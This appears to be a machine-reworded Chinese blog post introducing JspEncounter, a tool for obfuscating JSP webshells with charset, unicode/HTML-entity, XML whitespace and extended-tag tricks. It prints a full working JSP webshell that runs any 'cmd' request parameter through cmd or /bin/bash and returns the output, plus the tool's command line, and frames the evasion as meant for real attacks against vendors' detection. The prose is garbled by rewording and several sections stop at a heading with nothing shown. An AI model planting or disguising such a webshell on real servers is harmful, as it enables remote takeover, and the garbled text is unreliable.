​ 竟然如此,笔者索性抽出咸鱼韶光编写了一个小工具,帮助广大同学们学习该手腕,而对应的事理实在呆板乏味,就算笔者了然,但这最好还是给有心之人可自行查看吧,本文爽就完事了。

​ 接下来直接阐述工具相应的矩阵手腕及利用效果,而工具利用的把稳项及等信息则请在github查看 :

​ https://github.com/turn1tup/JspEncounter

jsp混淆JSP混杂JspEncounter Python

矩阵手腕

被工具转换前的原始source.jsp文件内容为:

1234567891011121314151617

<%@page import="java.util.,java.io." contentType="text/html" %><%! class Test{} %><% if (request.getParameter ("cmd") != null) { boolean isWin = System.getProperty("os.name").toUpperCase().contains("WIN"); String[] cmd = {isWin?"cmd":"/bin/bash",isWin?"/c":"-c",request.getParameter("cmd")}; InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); OutputStream outputStream = response.getOutputStream(); int a; outputStream.write(String.valueOf(System.currentTimeMillis()).getBytes()); while((a=inputStream.read())!=-1){ outputStream.write(a); } }%>

工具命令为:

1

java "-Dfile.encoding=utf-8" -jar JspEncounter.jar -m jsp -c matrix.xlsx -s source.jsp -o result.jspmagic charset

我们打开 matrix.xlsx进行配置,这里配置输出单种字符集文件:

实行命令后,输出的编码后的文件:

declare charset

demo(放前后都可):

double chraset

双重字符集,这里以前文UTF-16BE 后文CP037为例:

controller space

xml 1.1版本下,将标签内的旁边括号进行对应的字符更换,该模式目前支持的字符集为utf-8/iso-8859-1/utf-16:

UTF-8字符集情形下:

ISO-8859-1情形下的分外空缺字符:

unicode & entity

这里利用双重编码对标签内的代码进行编码,即利用 unicode + html entity:

ext tags

将代码拼接到 setProperty/useBean标签的属性中 ,该手腕参考补天会议:

namespace

结语

​ 通过本工具我们可以便捷地理解JSP中的这些编码手腕,各手腕的组合须要他们的逻辑不冲突,而某些手腕组合的代码实现比较麻烦,笔者就暂先没有整,大家可自行探索。
当然,笔者也轻微藏了一手,毕竟如果厂商都明白了,那我们实战起来也就不那么高兴了,但如果你能真正弄懂这个矩阵中的手腕,相信也能创造其他手腕。
而相对全体webshell的稠浊知识的图谱来说,本文也只是一角。

Reference

https://www.anquanke.com/post/id/210630

https://www.anquanke.com/post/id/209826

extTag setProperty/useBean拼接代码手腕 参考补天2022 webshell黑邪术

from https://turn1tup.github.io/